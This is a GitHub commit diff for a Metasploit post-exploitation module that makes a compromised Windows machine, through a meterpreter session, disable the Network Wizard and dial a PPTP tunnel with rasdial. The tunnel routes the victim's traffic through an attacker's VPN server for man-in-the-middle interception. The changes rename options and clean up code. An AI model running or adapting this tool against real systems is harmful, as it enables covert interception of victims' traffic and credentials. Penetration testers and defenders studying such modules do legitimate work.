Skip to content

Commit f91719b

Browse files
author
jvazquez-r7
committed
Do final cleanup for pptp_tunnel
1 parent 3e31d2c commit f91719b

File tree

1 file changed

+18
-16
lines changed

1 file changed

+18
-16
lines changed

modules/post/windows/manage/pptp_tunnel.rb

Lines changed: 18 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -16,39 +16,41 @@ def initialize(info={})
1616
super( update_info( info,
1717
'Name' => 'Windows Manage Remote Point-to-Point Tunneling Protocol',
1818
'Description' => %q{
19-
This module initiates a PPTP connection to a remote machine (VPN server). Once the
20-
tunnel is created we can use it to force the victim traffic to go through the server getting
21-
a man in the middle attack. Be sure to allow forwarding and masquerading in the server},
19+
This module initiates a PPTP connection to a remote machine (VPN server). Once
20+
the tunnel is created we can use it to force the victim traffic to go through the
21+
server getting a man in the middle attack. Be sure to allow forwarding and
22+
masquerading on the VPN server (mitm).
23+
},
2224
'License' => MSF_LICENSE,
23-
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
25+
'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',
2426
'References' =>
25-
[
26-
['URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1']
27-
],
28-
'Platform' => [ 'windows' ],
27+
[
28+
[ 'URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ]
29+
],
30+
'Platform' => 'windows',
2931
'SessionTypes' => [ 'meterpreter' ]
3032
))
3133

3234
register_options(
3335
[
3436
OptString.new('USERNAME', [true, 'VPN Username.' ]),
3537
OptString.new('PASSWORD', [true, 'VPN Password.' ]),
36-
OptBool.new('MIM', [true, 'Man in the middle.', true]),
38+
OptBool.new('MITM', [true, 'Man in the middle.', true]),
3739
OptInt.new('TIMEOUT', [true, 'Timeout for the tunnel creation.', 60]),
3840
OptString.new('PBK_NAME', [true, 'PhoneBook entry name.', 'MSF']),
39-
OptAddress.new('RHOST', [true, 'VPN server.'])
41+
OptAddress.new('VPNHOST', [true, 'VPN server.'])
4042
], self.class)
4143
end
4244

4345

4446
def run
4547
disable_network_wizard if sysinfo["OS"] =~ /Windows 7|Vista|2008/
4648

47-
pbk = create_pbk(datastore['MIM'],datastore['PBK_NAME'])
49+
pbk = create_pbk(datastore['MITM'],datastore['PBK_NAME'])
4850
to = (datastore['TIMEOUT'] <= 0 ) ? 60 : datastore['TIMEOUT']
4951
begin
5052
::Timeout.timeout(to) do
51-
run_rasdial(pbk,datastore['USERNAME'],datastore['PASSWORD'],datastore['CONNECTION_NAME'],datastore['RHOST'],datastore['PBK_NAME'])
53+
run_rasdial(pbk,datastore['USERNAME'],datastore['PASSWORD'], datastore['VPNHOST'],datastore['PBK_NAME'])
5254
end
5355
rescue ::Timeout::Error
5456
print_error("Timeout after #{to} seconds")
@@ -71,8 +73,8 @@ def disable_network_wizard
7173
registry_setvaldata(key,value,3,"REG_BINARY")
7274
print_good("Network Wizard disabled")
7375
end
74-
rescue::Exception => e
75-
print_status("The following Error was encountered: #{e.class} #{e}")
76+
rescue ::Exception => e
77+
print_status("The fo llowing Error was encountered: #{e.class} #{e}")
7678
end
7779
end
7880

@@ -94,10 +96,10 @@ def create_pbk(mim,pbk_name)
9496
end
9597

9698

97-
def run_rasdial(pbk,user,pass,conn,rhost,pbk_name)
99+
def run_rasdial(pbk,user,pass,vpn_host,pbk_name)
98100
print_status ("Establishing connection ...")
99101
cmd_exec("rasdial","/disconnect")
100-
output_run = cmd_exec("rasdial","#{pbk_name} #{user} #{pass} /PHONE:#{rhost} /PHONEBOOK:#{pbk}")
102+
output_run = cmd_exec("rasdial","#{pbk_name} #{user} #{pass} /PHONE:#{vpn_host} /PHONEBOOK:#{pbk}")
101103
output_view = cmd_exec("rasdial", nil)
102104

103105
if output_view =~ /#{pbk_name}/i

0 commit comments

Comments
 (0)